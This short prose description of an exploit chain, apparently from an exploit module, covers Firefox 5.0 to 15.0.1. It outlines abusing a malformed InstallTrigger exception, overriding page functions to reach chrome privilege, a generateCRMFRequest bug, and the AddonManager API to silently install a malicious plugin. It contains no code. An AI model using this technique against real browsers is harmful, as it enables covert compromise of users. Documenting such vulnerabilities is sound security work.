        On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given
        invalid input, would throw an exception that did not have an __exposedProps__
        property set. By re-setting this property on the exception object's prototype,
        the chrome-based defineProperty method is made available.
        With the defineProperty method, functions belonging to window and document can be
        overriden with a function that gets called from chrome-privileged context. From here,
        another vulnerability in the crypto.generateCRMFRequest function is used to "peek"
        into the context's private scope. Since the window does not have a chrome:// URL,
        the insecure parts of Components.classes are not available, so instead the AddonManager
        API is invoked to silently install a malicious plugin.
